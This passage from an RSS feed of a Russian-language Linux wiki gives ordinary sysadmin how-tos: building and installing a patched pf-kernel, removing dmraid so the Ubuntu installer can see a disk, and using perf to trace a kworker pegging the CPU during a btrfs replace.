&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0423\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0442\u0443\u043b\u0437\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c_\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438_\u0438_\u0442\u0443\u043b\u0437\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;325-1233&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;получаем_исходники_ядра_и_соответствующий_патч&quot;&gt;Получаем исходники ядра и соответствующий патч&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Создаем папку где будем собирать и скачиваем ядро и патч:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mkdir pf-kernel
cd pf-kernel
wget https://www.kernel.org/pub/linux/kernel/v4.x/linux-4.0.1.tar.xz
wget https://pf.natalenko.name/sources/4.0/patch-4.0-pf3.xz&lt;/pre&gt;

&lt;p&gt;
Распаковываем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;tar -xvf ./linux-4.0.1.tar.xz
aunpack patch-4.0-pf3.xz&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u044f\u0434\u0440\u0430 \u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043f\u0430\u0442\u0447&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c_\u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438_\u044f\u0434\u0440\u0430_\u0438_\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439_\u043f\u0430\u0442\u0447&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1234-1709&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;применяем_патч&quot;&gt;Применяем патч&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Переходим в папку я ядром и проверяем как применяется патч:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd ./linux-4.0.1/
patch -p1 --dry-run &amp;lt; ../patch-4.0-pf3&lt;/pre&gt;

&lt;p&gt;
У меня проблемы возникли только с Makefile. Я их исправлял вручную после патча:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;patch -p1 &amp;lt; ../patch-4.0-pf3&lt;/pre&gt;

&lt;p&gt;
У меня была ошибочка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;patching file Makefile
Hunk #1 FAILED at 1.
1 out of 1 hunk FAILED -- saving rejects to file Makefile.rej&lt;/pre&gt;

&lt;p&gt;
Оказалось что не пропатчились строки &lt;strong&gt;EXTRAVERSION =&lt;/strong&gt; и &lt;strong&gt;NAME =&lt;/strong&gt;. Поэтому я полез в Makefile вручную и прописал:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;EXTRAVERSION = -pf3&lt;/pre&gt;

&lt;p&gt;
А &lt;strong&gt;NAME&lt;/strong&gt; оставил как есть.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c \u043f\u0430\u0442\u0447&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c_\u043f\u0430\u0442\u0447&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1710-2529&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;конфигурируем_новое_ядро&quot;&gt;Конфигурируем новое ядро&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Копируем текущий конфиг ядра:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cp /boot/config-`uname -r` .config&lt;/pre&gt;

&lt;p&gt;
Чтобы собрать без поддержки лишних модулей:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make localmodconfig&lt;/pre&gt;

&lt;p&gt;
Эта команда сравнивает модули, поддерживаемые в текущем ядре и отключает лишние в новом,а настройки сохраняет в файлик &lt;strong&gt;.config&lt;/strong&gt;. Конфигурационный скрипт задаст вопросы о включении-отключении модулей. Конечно, нужно включить BFQ, BFC и TuxOnIce для того, чтобы увидеть эффект от нового ядра.
&lt;/p&gt;

&lt;p&gt;
Кроме того, можно собрать ядро используя старый конфиг:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make oldconfig&lt;/pre&gt;

&lt;p&gt;
А также полностью сконфигурировать заново:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make menuconfig&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0438\u0440\u0443\u0435\u043c \u043d\u043e\u0432\u043e\u0435 \u044f\u0434\u0440\u043e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0438\u0440\u0443\u0435\u043c_\u043d\u043e\u0432\u043e\u0435_\u044f\u0434\u0440\u043e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:7,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2530-3565&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;собираем_pf-kernel&quot;&gt;Собираем pf-kernel&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
После конфигурации почистим сборочное пространство:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make-kpkg clean&lt;/pre&gt;

&lt;p&gt;
Запустим процесс сборки (обязательно с правами root):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo CONCURRENCY_LEVEL=`getconf _NPROCESSORS_ONLN` fakeroot make-kpkg --initrd kernel_image kernel_headers&lt;/pre&gt;

&lt;p&gt;
В результате должны получиться два пакета: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;linux-headers-4.0.1-pf3_4.0.1-pf3-10.00.Custom_amd64.deb
linux-image-4.0.1-pf3_4.0.1-pf3-10.00.Custom_amd64.deb&lt;/pre&gt;

&lt;p&gt;
теперь ставим их:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dpkg -i ./linux-*.deb&lt;/pre&gt;

&lt;p&gt;
После этого можно перезагрузиться и почистить пакеты со старыми ядрами.
Найдеи эти пакеты:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dpkg -l | grep image
dpkg -l | grep headers&lt;/pre&gt;

&lt;p&gt;
И удалим лишнее:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get purge _____имена_пакетов______&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u043e\u0431\u0438\u0440\u0430\u0435\u043c pf-kernel&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u043c_pf-kernel&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:11,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;3566-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>установщик-ubuntu-не-видит-диск</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%83%D1%81%D1%82%D0%B0%D0%BD%D0%BE%D0%B2%D1%89%D0%B8%D0%BA-ubuntu-%D0%BD%D0%B5-%D0%B2%D0%B8%D0%B4%D0%B8%D1%82-%D0%B4%D0%B8%D1%81%D0%BA</link>
            <description>
&lt;p&gt;
Если установщик Ubuntu не видит диск, но при загрузке live-cd диск виден, то вероятно, драйвер dmraid определил диск как часть сломанного массива.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Для решения этой проблемы - в установщике жмакаем Quit (Ubuntu 12.04)  и попадаем в LiveCD Ubuntu или загружаемся с установочного диска Ubuntu в livecd (жмакаем Try UBUNTU), запускаем терминал (слева самая верхняя кнопка Dash, а там вводим terminal) и в нем вводим:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get remove dmraid&lt;/pre&gt;

&lt;p&gt;
Дальше соглашаемся и потом прямо ярлыком с рабочего стола livecd запускаем установку.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Должно работать…
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>чем_занят_linux_kworker_100_cpu</title>
            <link>https://wiki.autosys.tk/linux_faq/%D1%87%D0%B5%D0%BC_%D0%B7%D0%B0%D0%BD%D1%8F%D1%82_linux_kworker_100_cpu</link>
            <description>
&lt;p&gt;
при выполнении некоторых операций на &lt;strong&gt;btrfs&lt;/strong&gt; - в частности &lt;strong&gt;btrfs replace&lt;/strong&gt; я наблюдаю картину, когда по &lt;strong&gt;iotop&lt;/strong&gt; никакого активного ввода-вывода нет, но процесс &lt;strong&gt;kworker&lt;/strong&gt; потребляет &lt;strong&gt;100% CPU&lt;/strong&gt;. &lt;br/&gt;

Посмотреть что же именно он там делает можно с помощью &lt;strong&gt;perf&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install linux-tools-common&lt;/pre&gt;

&lt;p&gt;
Проверяем - работает ли &lt;strong&gt;perf&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo perf &lt;/pre&gt;

&lt;p&gt;
Возможно, потребуется поставить второй пакет с названием типа &lt;strong&gt;linux-tools-3.11.0-15-generic&lt;/strong&gt;, который должен соответствовать текущей версии ядра. &lt;br/&gt;

В моем случае, в системе было два файлика &lt;strong&gt;/usr/bin/perf&lt;/strong&gt; и &lt;strong&gt;/usr/bin/perf_4.9&lt;/strong&gt;. Нормально работал &lt;strong&gt;/usr/bin/perf_4.9&lt;/strong&gt;. &lt;br/&gt;

Собираем статистику в течение 10 секунд:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo perf_4.9 record -g -a sleep 10&lt;/pre&gt;

&lt;p&gt;
После завершения сбора данных смотрим что собралось:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo perf_4.9 report&lt;/pre&gt;

&lt;p&gt;
В выводе оказалось такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] find_parent_nodes
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] iterate_extent_inodes
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] iterate_inodes_from_logical
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] copy_nocow_pages_worker
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] normal_work_helper
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] btrfs_scrubnc_helper
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] process_one_work
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] worker_thread
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] kthread
+   91.07%     0.00%  kworker/u8:5     [kernel.kallsyms]         [k] ret_from_fork
+   89.62%    10.83%  kworker/u8:5     [kernel.kallsyms]         [k] resolve_indirect_refs
+   27.38%    22.13%  kworker/u8:5     [kernel.kallsyms]         [k] btrfs_get_token_64
+   22.32%    22.13%  kworker/u8:5     [kernel.kallsyms]         [k] read_extent_buffer
+   21.20%     0.17%  kworker/u8:5     [kernel.kallsyms]         [k] btrfs_next_old_leaf
+   13.97%     0.32%  kworker/u8:5     [kernel.kallsyms]         [k] btrfs_search_old_slot
+   10.42%     6.12%  kworker/u8:5     [kernel.kallsyms]         [k] btrfs_get_token_32
+    8.86%     8.83%  kworker/u8:5     [kernel.kallsyms]         [k] map_private_extent_buffer
+    6.93%     0.12%  kworker/u8:5     [kernel.kallsyms]         [k] read_block_for_search.isra.31
+    5.36%     0.93%  kworker/u8:5     [kernel.kallsyms]         [k] find_extent_buffer
+    2.94%     2.91%  kworker/u8:5     [kernel.kallsyms]         [k] copy_page
+    2.77%     0.01%  kworker/u8:5     [kernel.kallsyms]         [k] radix_tree_lookup
+    2.76%     2.74%  kworker/u8:5     [kernel.kallsyms]         [k] __radix_tree_lookup
+    2.45%     0.52%  kworker/u8:5     [kernel.kallsyms]         [k] __tree_mod_log_rewind&lt;/pre&gt;

&lt;p&gt;
Судя по всем процесс занят работой с экстентами &lt;strong&gt;btrfs&lt;/strong&gt;.
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
    </channel>
</rss>
